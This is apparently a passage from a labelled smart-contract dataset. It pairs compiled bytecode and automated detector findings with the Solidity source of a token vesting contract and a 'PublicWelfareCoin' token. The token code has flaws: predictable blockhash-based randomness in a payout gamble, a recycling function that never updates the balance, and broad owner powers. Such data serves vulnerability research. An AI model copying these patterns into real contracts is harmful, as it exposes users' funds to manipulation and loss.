bc75e2d631000006002860a02016f0f0bdc21abb48db201e86d4000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001611001565b85610edf565b811515610f7b57fe5b0403949350505050565b600082820183811015610ec157fe5b600a54600090670de0b6b3a7640000838101918101908390610fee6402187119ff198285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610fe857fe5b04610edf565b811515610ff757fe5b0495945050505050565b80600260018201045b818110156109dc57809150600281828581151561102357fe5b040181151561102e57fe5b04905061100a565b81548183558181151161105a5760008381526020902061105a91810190830161105f565b505050565b61083191905b80821115610aa857600081556001016110655600a165627a7a72305820e3d108462832afc6fb94c9901041740e71a398e9c0ec33134f0504650e8fec6c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,362 |
0x9d2d59b93f7ddc460fcdd9a1ea45d3b3bdd8efd3
|
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: zeppelin-solidity/contracts/token/ERC20/TokenVesting.sol
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
// File: contracts/LiteXTokenVesting.sol
/**
* token will released by divider like this:
*
* if divider is one month, _cliff is zero, _duration is one year, total vesting token is 12000
* Jan 30th will not release any token
* Jan 31st will release 1000
* Feb 1 will not release any token
* Feb 28th will release 1000
* ………………
* ………………
* Dec 31st will release 1000
*/
contract LiteXTokenVesting is TokenVesting {
uint256 public divider;
function LiteXTokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, uint256 _divider, bool _revocable) TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
require(_divider <= duration);
divider = _divider;
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
}
if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
}
return totalBalance.mul(now.sub(start).div(divider).mul(divider)).div(duration);
}
}
|
0x6060604052600436106100b65763ffffffff60e060020a6000350416630fb5a6b481146100bb57806313d033c0146100e05780631726cbc8146100f35780631916558714610112578063378efa3714610133578063384711cc1461014657806338af3eed1461016557806374a8f10314610194578063872a7810146101b35780638da5cb5b146101da5780639852595c146101ed578063be9a65551461020c578063f2fde38b1461021f578063fa01dc061461023e575b600080fd5b34156100c657600080fd5b6100ce61025d565b60405190815260200160405180910390f35b34156100eb57600080fd5b6100ce610263565b34156100fe57600080fd5b6100ce600160a060020a0360043516610269565b341561011d57600080fd5b610131600160a060020a03600435166102a1565b005b341561013e57600080fd5b6100ce61034d565b341561015157600080fd5b6100ce600160a060020a0360043516610353565b341561017057600080fd5b6101786104ac565b604051600160a060020a03909116815260200160405180910390f35b341561019f57600080fd5b610131600160a060020a03600435166104bb565b34156101be57600080fd5b6101c661060e565b604051901515815260200160405180910390f35b34156101e557600080fd5b610178610617565b34156101f857600080fd5b6100ce600160a060020a0360043516610626565b341561021757600080fd5b6100ce610638565b341561022a57600080fd5b610131600160a060020a036004351661063e565b341561024957600080fd5b6101c6600160a060020a03600435166106d9565b60045481565b60025481565b600160a060020a03811660009081526006602052604081205461029b9061028f84610353565b9063ffffffff6106ee16565b92915050565b60006102ac82610269565b9050600081116102bb57600080fd5b600160a060020a0382166000908152600660205260409020546102e4908263ffffffff61070016565b600160a060020a038084166000818152600660205260409020929092556001546103169291168363ffffffff61071a16565b7ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5658160405190815260200160405180910390a15050565b60085481565b600080600083600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156103af57600080fd5b6102c65a03f115156103c057600080fd5b5050506040518051600160a060020a0386166000908152600660205260409020549093506103f69150839063ffffffff61070016565b905060025442101561040b57600092506104a5565b6004546003546104209163ffffffff61070016565b421015806104465750600160a060020a03841660009081526007602052604090205460ff165b15610453578092506104a5565b6104a260045461047d61049560085461048960085461047d600354426106ee90919063ffffffff16565b9063ffffffff61079f16565b9063ffffffff6107b616565b849063ffffffff6107b616565b92505b5050919050565b600154600160a060020a031681565b600080548190819033600160a060020a039081169116146104db57600080fd5b60055460ff1615156104ec57600080fd5b600160a060020a03841660009081526007602052604090205460ff161561051257600080fd5b83600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561056957600080fd5b6102c65a03f1151561057a57600080fd5b50505060405180519050925061058f84610269565b91506105a1838363ffffffff6106ee16565b600160a060020a038086166000818152600760205260408120805460ff19166001179055549293506105dc929091168363ffffffff61071a16565b7f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee660405160405180910390a150505050565b60055460ff1681565b600054600160a060020a031681565b60066020526000908152604090205481565b60035481565b60005433600160a060020a0390811691161461065957600080fd5b600160a060020a038116151561066e57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205460ff1681565b6000828211156106fa57fe5b50900390565b60008282018381101561070f57fe5b8091505b5092915050565b82600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561077757600080fd5b6102c65a03f1151561078857600080fd5b50505060405180519050151561079a57fe5b505050565b60008082848115156107ad57fe5b04949350505050565b6000808315156107c95760009150610713565b508282028284828115156107d957fe5b041461070f57fe00a165627a7a7230582036bbb103acabe6d80f487f44ea1a27f6befa419931b342deb593ab551f1dbcee0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,363 |
0x3E3b311cD6Ed7F27432F82A08FBCA19141cC0509
|
pragma solidity ^0.4.25;
/****
Maybe you don't have the ability to change, but you have a responsibility to pay attention.
多分、あなたは能力を変えることはできませんが、あなたは注意を払う責任があります
****/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
// ERC223 and ERC20 functions
function balanceOf(address who) public view returns (uint256);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint256 value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
}
contract OtherToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract PublicWelfareCoin is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
address[] StoreWelfareAddress;
mapping (address => string) StoreWelfareDetails;
address public OrganizationAddress;
string internal constant _name = "PublicWelfareCoin";
string internal constant _symbol = "PWC";
uint8 internal constant _decimals = 8;
uint256 internal _totalSupply = 2000000000e8;
uint256 internal StartEth = 1e16;
uint256 private RandNonce;
uint256 public Organization = _totalSupply.div(100).mul(5);
uint256 public totalRemaining = _totalSupply;
uint256 public totalDistributed = 0;
uint256 public EthGet=1500000e8;
uint256 public Send0GiveBase = 3000e8;
bool internal EndDistr = false;
bool internal EndSend0GetToken = false;
bool internal EndEthGetToken = false;
bool internal CanTransfer = true;
bool internal EndGamGetToken = false;
modifier canDistr() {
require(!EndDistr);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(CanTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
constructor(address _Organization) public {
owner = msg.sender;
OrganizationAddress = _Organization;
distr(OrganizationAddress , Organization);
RandNonce = uint(keccak256(abi.encodePacked(now)));
RandNonce = RandNonce**10;
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
EndDistr = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
EndDistr = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
EndSend0GetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
EndEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
EndSend0GetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
EndEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
CanTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
CanTransfer = false;
return true;
}
function startGamGetToken() onlyOwner public returns (bool) {
EndGamGetToken = false;
return true;
}
function stopGamGetToken() onlyOwner public returns (bool) {
EndGamGetToken = true;
return true;
}
function changeParam(uint _Send0GiveBase, uint _EthGet, uint _StartEth) onlyOwner public returns (bool) {
Send0GiveBase = _Send0GiveBase;
EthGet=_EthGet;
StartEth = _StartEth;
return true;
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= _totalSupply) {
EndDistr = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= _totalSupply) {
EndDistr = true;
}
}
}
function () external payable {
autoDistribute();
}
function autoDistribute() payable canDistr onlyWhitelist public {
if (Send0GiveBase > totalRemaining) {
Send0GiveBase = totalRemaining;
}
uint256 etherValue=msg.value;
uint256 value;
address sender = msg.sender;
require(sender == tx.origin && !isContract(sender));
if(etherValue>StartEth){
require(EndEthGetToken==false);
RandNonce = RandNonce.add(Send0GiveBase);
uint256 random1 = uint(keccak256(abi.encodePacked(blockhash(RandNonce % 100),RandNonce,sender))) % 10;
RandNonce = RandNonce.add(random1);
value = etherValue.mul(EthGet);
value = value.div(1 ether);
if(random1 < 2) value = value.add(value);
value = value.add(Send0GiveBase);
Send0GiveBase = Send0GiveBase.div(100000).mul(99999);
require(value <= totalRemaining);
distr(sender, value);
owner.transfer(etherValue);
}else{
uint256 balance = balances[sender];
if(balance == 0){
require(EndSend0GetToken==false && Send0GiveBase <= totalRemaining);
Send0GiveBase = Send0GiveBase.div(100000).mul(99999);
distr(sender, Send0GiveBase);
}else{
require(EndGamGetToken == false);
RandNonce = RandNonce.add(Send0GiveBase);
uint256 random = uint(keccak256(abi.encodePacked(blockhash(RandNonce % 100), RandNonce,sender))) % 10;
RandNonce = RandNonce.add(random);
if(random > 4){
distr(sender, balance);
}else{
balances[sender] = 0;
totalRemaining = totalRemaining.add(balance);
totalDistributed = totalDistributed.sub(balance);
emit Transfer(sender, address(this), balance);
}
}
}
if (totalDistributed >= _totalSupply) {
EndDistr = true;
}
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) canTrans onlyWhitelist public returns (bool success) {
require(_to != address(0)
&& _amount <= balances[msg.sender]
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]
);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
function transferFrom(address _from, address _to, uint256 _value) canTrans onlyWhitelist public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = address(this).balance;
if(!receiveAddress.send(etherBalance))revert();
}
function recycling(uint _amount) onlyOwner public {
require(_amount <= balances[msg.sender]);
balances[msg.sender].sub(_amount);
totalRemaining = totalRemaining.add(_amount);
totalDistributed = totalDistributed.sub(_amount);
emit Transfer(msg.sender, address(this), _amount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawOtherTokens(address _tokenContract) onlyOwner public returns (bool) {
OtherToken token = OtherToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function storeWelfare(address _welfareAddress, string _details) onlyOwner public returns (bool) {
StoreWelfareAddress.push(_welfareAddress);
StoreWelfareDetails[_welfareAddress] = _details;
return true;
}
function readWelfareDetails(address _welfareAddress) public view returns (string) {
return StoreWelfareDetails[_welfareAddress];
}
function readWelfareAddress(uint _id) public view returns (address) {
return StoreWelfareAddress[_id];
}
function name() public view returns (string Name) {
return _name;
}
function symbol() public view returns (string Symbol) {
return _symbol;
}
function decimals() public view returns (uint8 Decimals) {
return _decimals;
}
function totalSupply() public view returns (uint256 TotalSupply) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
|
0x60806040526004361061021a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461022457806309058df8146102b4578063095ea7b3146102df57806312746e9f1461034457806314ffbafc1461039d57806318160ddd146103cc5780631d3795e8146103f757806323b872dd1461042657806323bef5dd146104ab578063313ce5671461054c5780633847807a1461057d57806342966c68146105ac578063502dadb0146105d957806351cff8d91461063f57806358e71b151461068257806364ddc605146106ad5780636534eb761461075657806370a0823114610783578063781c0db4146107da578063829c34281461080957806395d89b41146108385780639b1cbccc146108c85780639c09c835146108f7578063a1190a361461095d578063a6f9dae1146109b8578063a8c310d5146109fb578063a8f11eb914610aa4578063a9059cbb14610aae578063abe7b54e14610b13578063ac96f74314610bcf578063b414d4b614610c26578063bc2d10f114610c81578063c3191f3114610cb0578063c341b9f614610d1d578063cbbe974b14610d8f578063d83623dd14610de6578063d8a5436014610e15578063dd62ed3e14610e40578063e7f9e40814610eb7578063eebe18cf14610ee6578063efca2eed14610f15578063f3e4877c14610f40578063f457729814610fb0578063f9f92be414610fdb575b610222611036565b005b34801561023057600080fd5b506102396116e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027957808201518184015260208101905061025e565b50505050905090810190601f1680156102a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c057600080fd5b506102c9611722565b6040518082815260200191505060405180910390f35b3480156102eb57600080fd5b5061032a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611728565b604051808215151515815260200191505060405180910390f35b34801561035057600080fd5b5061038360048036038101908080359060200190929190803590602001909291908035906020019092919050505061181a565b604051808215151515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2611897565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103e1611932565b6040518082815260200191505060405180910390f35b34801561040357600080fd5b5061040c61193c565b604051808215151515815260200191505060405180910390f35b34801561043257600080fd5b50610491600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119d7565b604051808215151515815260200191505060405180910390f35b3480156104b757600080fd5b50610532600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611f6a565b604051808215151515815260200191505060405180910390f35b34801561055857600080fd5b5061056161208b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561058957600080fd5b50610592612094565b604051808215151515815260200191505060405180910390f35b3480156105b857600080fd5b506105d760048036038101908080359060200190929190505050612113565b005b3480156105e557600080fd5b5061063d600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506122de565b005b34801561064b57600080fd5b50610680600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123e0565b005b34801561068e57600080fd5b5061069761249b565b6040518082815260200191505060405180910390f35b3480156106b957600080fd5b5061075460048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506124a1565b005b34801561076257600080fd5b50610781600480360381019080803590602001909291905050506126a4565b005b34801561078f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061283e565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef612887565b604051808215151515815260200191505060405180910390f35b34801561081557600080fd5b5061081e612922565b604051808215151515815260200191505060405180910390f35b34801561084457600080fd5b5061084d6129a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561088d578082015181840152602081019050610872565b50505050905090810190601f1680156108ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d457600080fd5b506108dd6129de565b604051808215151515815260200191505060405180910390f35b34801561090357600080fd5b5061095b60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612a79565b005b34801561096957600080fd5b5061099e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b7b565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b506109f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dbe565b005b348015610a0757600080fd5b50610aa26004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050612e93565b005b610aac611036565b005b348015610aba57600080fd5b50610af9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612fe3565b604051808215151515815260200191505060405180910390f35b348015610b1f57600080fd5b50610b54600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610b94578082015181840152602081019050610b79565b50505050905090810190601f168015610bc15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610bdb57600080fd5b50610be46134c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c3257600080fd5b50610c67600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506134ef565b604051808215151515815260200191505060405180910390f35b348015610c8d57600080fd5b50610c9661350f565b604051808215151515815260200191505060405180910390f35b348015610cbc57600080fd5b50610cdb600480360381019080803590602001909291905050506135aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d2957600080fd5b50610d8d600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035151590602001909291905050506135ed565b005b348015610d9b57600080fd5b50610dd0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061378e565b6040518082815260200191505060405180910390f35b348015610df257600080fd5b50610dfb6137a6565b604051808215151515815260200191505060405180910390f35b348015610e2157600080fd5b50610e2a613825565b6040518082815260200191505060405180910390f35b348015610e4c57600080fd5b50610ea1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061382b565b6040518082815260200191505060405180910390f35b348015610ec357600080fd5b50610ecc6138b2565b604051808215151515815260200191505060405180910390f35b348015610ef257600080fd5b50610efb613931565b604051808215151515815260200191505060405180910390f35b348015610f2157600080fd5b50610f2a6139b0565b6040518082815260200191505060405180910390f35b348015610f4c57600080fd5b50610fae60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001909291905050506139b6565b005b348015610fbc57600080fd5b50610fc5613ad3565b6040518082815260200191505060405180910390f35b348015610fe757600080fd5b5061101c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ad9565b604051808215151515815260200191505060405180910390f35b600080600080600080601160009054906101000a900460ff1615151561105b57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156110ba57600080fd5b600d5460105411156110d057600d546010819055505b3495503393503273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611117575061111584613af9565b155b151561112257600080fd5b600a548611156113a45760001515601160029054906101000a900460ff16151514151561114e57600080fd5b611165601054600b54613b0c90919063ffffffff16565b600b81905550600a6064600b5481151561117b57fe5b0640600b54866040516020018084600019166000191681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140193505050506040516020818303038152906040526040518082805190602001908083835b6020831015156112265780518252602082019150602081019050602083039250611201565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206001900481151561126057fe5b06925061127883600b54613b0c90919063ffffffff16565b600b81905550611293600f5487613b2a90919063ffffffff16565b94506112b0670de0b6b3a764000086613b5d90919063ffffffff16565b945060028310156112d1576112ce8586613b0c90919063ffffffff1656